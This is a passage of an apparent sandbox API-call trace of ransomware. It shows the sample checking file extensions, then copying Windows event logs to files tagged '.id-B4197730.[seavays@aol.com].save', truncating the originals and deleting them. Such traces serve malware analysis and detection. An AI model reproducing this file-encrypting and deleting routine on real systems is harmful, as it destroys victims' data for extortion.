lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.468] lstrlenW (lpString=".docx") returned 5 [0062.468] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.468] lstrlenW (lpString=".pdf") returned 4 [0062.468] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.468] lstrlenW (lpString=".xls") returned 4 [0062.468] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.468] lstrlenW (lpString=".xlsx") returned 5 [0062.468] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.468] lstrlenW (lpString=".ppt") returned 4 [0062.468] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.468] lstrlenW (lpString=".zip") returned 4 [0062.469] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.469] lstrlenW (lpString=".rar") returned 4 [0062.469] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.469] lstrlenW (lpString=".bz2") returned 4 [0062.469] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.469] lstrlenW (lpString=".7z") returned 3 [0062.469] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.469] lstrlenW (lpString=".dbf") returned 4 [0062.469] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.469] lstrlenW (lpString=".1cd") returned 4 [0062.469] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.469] lstrlenW (lpString=".jpg") returned 4 [0062.469] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.469] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.469] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47 [0062.469] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0062.469] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0062.469] CloseHandle (hObject=0x2e8) returned 1 [0062.470] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0062.470] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.470] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0062.470] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.470] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.470] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.477] GetLastError () returned 0x0 [0062.477] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.482] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.484] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.484] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x132, lpOverlapped=0x0) returned 1 [0062.484] SetEndOfFile (hFile=0x370) returned 1 [0062.484] CloseHandle (hObject=0x370) returned 1 [0062.487] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.487] SetEndOfFile (hFile=0x2e8) returned 1 [0062.488] CloseHandle (hObject=0x2e8) returned 1 [0062.488] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.488] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0062.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.489] lstrlenW (lpString=".doc") returned 4 [0062.489] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.489] lstrlenW (lpString=".docx") returned 5 [0062.489] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.489] lstrlenW (lpString=".pdf") returned 4 [0062.489] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.489] lstrlenW (lpString=".xls") returned 4 [0062.489] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.489] lstrlenW (lpString=".xlsx") returned 5 [0062.489] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.489] lstrlenW (lpString=".ppt") returned 4 [0062.489] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.489] lstrlenW (lpString=".zip") returned 4 [0062.489] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.489] lstrlenW (lpString=".rar") returned 4 [0062.489] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.489] lstrlenW (lpString=".bz2") returned 4 [0062.489] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.489] lstrlenW (lpString=".7z") returned 3 [0062.489] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.489] lstrlenW (lpString=".dbf") returned 4 [0062.489] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.489] lstrlenW (lpString=".1cd") returned 4 [0062.489] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.489] lstrlenW (lpString=".jpg") returned 4 [0062.490] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.490] lstrlenW (lpString=".doc") returned 4 [0062.490] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.490] lstrlenW (lpString=".docx") returned 5 [0062.490] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.490] lstrlenW (lpString=".pdf") returned 4 [0062.490] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.490] lstrlenW (lpString=".xls") returned 4 [0062.490] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.490] lstrlenW (lpString=".xlsx") returned 5 [0062.490] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.490] lstrlenW (lpString=".ppt") returned 4 [0062.490] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.490] lstrlenW (lpString=".zip") returned 4 [0062.490] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.490] lstrlenW (lpString=".rar") returned 4 [0062.490] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.490] lstrlenW (lpString=".bz2") returned 4 [0062.490] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.490] lstrlenW (lpString=".7z") returned 3 [0062.490] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.490] lstrlenW (lpString=".dbf") returned 4 [0062.490] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.490] lstrlenW (lpString=".1cd") returned 4 [0062.490] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0062.490] lstrlenW (lpString=".jpg") returned 4 [0062.490] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.491] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.491] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47 [0062.491] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.496] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0062.496] CloseHandle (hObject=0x370) returned 1 [0062.496] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0062.496] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.496] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.496] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.496] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.496] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0062.496] GetLastError () returned 0x0 [0062.497] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.506] WriteFile (in: hFile=0x394, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.508] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.508] WriteFile (in: hFile=0x394, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x132, lpOverlapped=0x0) returned 1 [0062.508] SetEndOfFile (hFile=0x394) returned 1 [0062.508] CloseHandle (hObject=0x394) returned 1 [0062.510] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.510] SetEndOfFile (hFile=0x370) returned 1 [0062.511] CloseHandle (hObject=0x370) returned 1 [0062.512] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.512] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0062.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.512] lstrlenW (lpString=".doc") returned 4 [0062.512] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.512] lstrlenW (lpString=".docx") returned 5 [0062.512] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.512] lstrlenW (lpString=".pdf") returned 4 [0062.512] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.512] lstrlenW (lpString=".xls") returned 4 [0062.512] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.512] lstrlenW (lpString=".xlsx") returned 5 [0062.512] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.512] lstrlenW (lpString=".ppt") returned 4 [0062.512] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.513] lstrlenW (lpString=".zip") returned 4 [0062.513] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.513] lstrlenW (lpString=".rar") returned 4 [0062.513] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.513] lstrlenW (lpString=".bz2") returned 4 [0062.513] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.513] lstrlenW (lpString=".7z") returned 3 [0062.513] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.513] lstrlenW (lpString=".dbf") returned 4 [0062.513] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.513] lstrlenW (lpString=".1cd") returned 4 [0062.513] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.513] lstrlenW (lpString=".jpg") returned 4 [0062.513] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.513] lstrlenW (lpString=".doc") returned 4 [0062.513] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.513] lstrlenW (lpString=".docx") returned 5 [0062.513] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.513] lstrlenW (lpString=".pdf") returned 4 [0062.513] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.513] lstrlenW (lpString=".xls") returned 4 [0062.513] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.513] lstrlenW (lpString=".xlsx") returned 5 [0062.513] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.513] lstrlenW (lpString=".ppt") returned 4 [0062.513] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.513] lstrlenW (lpString=".zip") returned 4 [0062.514] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.514] lstrlenW (lpString=".rar") returned 4 [0062.514] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.514] lstrlenW (lpString=".bz2") returned 4 [0062.514] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.514] lstrlenW (lpString=".7z") returned 3 [0062.514] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.514] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.514] lstrlenW (lpString=".dbf") returned 4 [0062.514] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.514] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.514] lstrlenW (lpString=".1cd") returned 4 [0062.514] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.514] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0062.514] lstrlenW (lpString=".jpg") returned 4 [0062.514] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.514] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.514] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51 [0062.514] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.514] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0062.515] CloseHandle (hObject=0x370) returned 1 [0062.515] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0062.515] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.515] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.515] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.515] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.515] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0062.516] GetLastError () returned 0x0 [0062.516] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.521] WriteFile (in: hFile=0x394, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.522] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.522] WriteFile (in: hFile=0x394, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x13a, lpOverlapped=0x0) returned 1 [0062.522] SetEndOfFile (hFile=0x394) returned 1 [0062.523] CloseHandle (hObject=0x394) returned 1 [0062.525] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.525] SetEndOfFile (hFile=0x370) returned 1 [0062.526] CloseHandle (hObject=0x370) returned 1 [0062.526] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.526] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0062.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.526] lstrlenW (lpString=".doc") returned 4 [0062.526] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.527] lstrlenW (lpString=".docx") returned 5 [0062.527] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.527] lstrlenW (lpString=".pdf") returned 4 [0062.527] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.527] lstrlenW (lpString=".xls") returned 4 [0062.527] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.527] lstrlenW (lpString=".xlsx") returned 5 [0062.527] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.527] lstrlenW (lpString=".ppt") returned 4 [0062.527] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.527] lstrlenW (lpString=".zip") returned 4 [0062.527] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.527] lstrlenW (lpString=".rar") returned 4 [0062.527] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.527] lstrlenW (lpString=".bz2") returned 4 [0062.527] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.527] lstrlenW (lpString=".7z") returned 3 [0062.527] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.527] lstrlenW (lpString=".dbf") returned 4 [0062.527] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.527] lstrlenW (lpString=".1cd") returned 4 [0062.527] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.527] lstrlenW (lpString=".jpg") returned 4 [0062.527] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.527] lstrlenW (lpString=".doc") returned 4 [0062.527] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.528] lstrlenW (lpString=".docx") returned 5 [0062.528] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.528] lstrlenW (lpString=".pdf") returned 4 [0062.528] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.528] lstrlenW (lpString=".xls") returned 4 [0062.528] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.528] lstrlenW (lpString=".xlsx") returned 5 [0062.528] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.528] lstrlenW (lpString=".ppt") returned 4 [0062.528] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.528] lstrlenW (lpString=".zip") returned 4 [0062.528] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.528] lstrlenW (lpString=".rar") returned 4 [0062.528] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.528] lstrlenW (lpString=".bz2") returned 4 [0062.528] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.528] lstrlenW (lpString=".7z") returned 3 [0062.528] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.528] lstrlenW (lpString=".dbf") returned 4 [0062.528] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.528] 